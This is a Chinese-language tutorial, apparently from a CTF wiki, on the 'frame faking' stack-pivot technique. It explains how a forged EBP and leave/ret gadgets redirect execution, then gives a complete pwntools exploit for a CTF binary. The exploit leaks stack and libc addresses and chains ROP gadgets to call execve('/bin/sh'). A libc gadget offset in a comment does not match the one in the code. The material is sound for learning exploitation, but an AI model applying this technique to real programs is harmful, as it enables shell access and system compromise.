frame faking

正如这个技巧名字所说的那样，这个技巧就是构造一个虚假的栈帧来控制程序的执行流。

原理

概括地讲，我们在之前讲的栈溢出不外乎两种方式

• 控制程序 EIP
• 控制程序 EBP

其最终都是控制程序的执行流。在 frame faking 中，我们所利用的技巧便是同时控制 EBP 与 EIP，这样我们在控制程序执行流的同时，也改变程序栈帧的位置。一般来说其 payload 如下

buffer padding|fake ebp|leave ret addr|

即我们利用栈溢出将栈上构造为如上格式。这里我们主要讲下后面两个部分

• 函数的返回地址被我们覆盖为执行 leave ret 的地址，这就表明了函数在正常执行完自己的 leave ret 后，还会再次执行一次 leave ret。
• 其中 fake ebp 为我们构造的栈帧的基地址，需要注意的是这里是一个地址。一般来说我们构造的假的栈帧如下

fake ebp
 |
 v
ebp2|target function addr|leave ret addr|arg1|arg2

这里我们的 fake ebp 指向 ebp2，即它为 ebp2 所在的地址。通常来说，这里都是我们能够控制的可读的内容。

下面的汇编语法是 intel 语法。

下面我们来仔细说一下基本的控制过程。

1.在有栈溢出的程序执行 leave 时，其分为两个步骤

• mov esp, ebp ，这会将 esp 也指向当前栈溢出漏洞的 ebp 基地址处。
• pop ebp， 这会将栈中存放的 fake ebp 的值赋给 ebp。即执行完指令之后，ebp 便指向了
• ebp2，也就是保存了 ebp2 所在的地址。

2.执行 ret 指令，会再次执行 leave ret 指令。

3.执行 leave 指令，其分为两个步骤

• mov esp, ebp ，这会将 esp 指向 ebp2。
• pop ebp，此时，会将 ebp 的内容设置为 ebp2 的值，同时 esp 会指向 target function。

4.执行 ret 指令，这时候程序就会执行 target function，当其进行程序的时候会执行

• push ebp，会将 ebp2 值压入栈中，

• mov ebp, esp，将 ebp 指向当前基地址。

此时的栈结构如下

ebp
|
v
ebp2|leave ret addr|arg1|arg2

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  while ( sub_400676() )
    ;
  return 0LL;
}

int sub_400676()
{
  char buf[80]; // [rsp+0h] [rbp-50h]

  memset(buf, 0, sizeof(buf));
  putchar('>');
  read(0, buf, 96uLL);
  return puts(buf);
}

漏洞很明显, read 能读入 96 位, 但 buf 的长度只有 80, 因此能覆盖 rbp 以及 ret addr 但也只能覆盖到 rbp 和 ret addr, 因此也只能通过同时控制 rbp 以及 ret addr 来进行 rop 了
为了控制 rbp, 我们需要知道某些地址, 可以发现当输入的长度为 80 时, 由于 read 并不会给输入末尾补上 '\0', rbp 的值就会被 puts 打印出来, 这样我们就可以通过固定偏移知道栈上所有位置的地址了

from pwn import *
context.binary = "./over.over"

def DEBUG(cmd):
    raw_input("DEBUG: ")
    gdb.attach(io, cmd)

io = process("./over.over")
elf = ELF("./over.over")
libc = elf.libc

io.sendafter(">", 'a' * 80)
stack = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - 0x70
sleep(1)
success("stack -> {:#x}".format(stack))

#  DEBUG("b *0x4006B9\nc")
io.sendafter(">", flat(['11111111', 0x400793, elf.got['puts'], elf.plt['puts'], 0x400676, (80 - 40) * '1', stack, 0x4006be]))
libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - libc.sym['puts']
success("libc.address -> {:#x}".format(libc.address))

pop_rdi_ret=0x400793
'''
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret"
0x00000000000f5279 : pop rdx ; pop rsi ; ret
'''
pop_rdx_pop_rsi_ret=libc.address+0x1306d9


payload=flat(['22222222', pop_rdi_ret, next(libc.search("/bin/sh")),pop_rdx_pop_rsi_ret,p64(0),p64(0), libc.sym['execve'], (80 - 7*8 ) * '2', stack - 0x30, 0x4006be])

io.sendafter(">", payload)

io.interactive()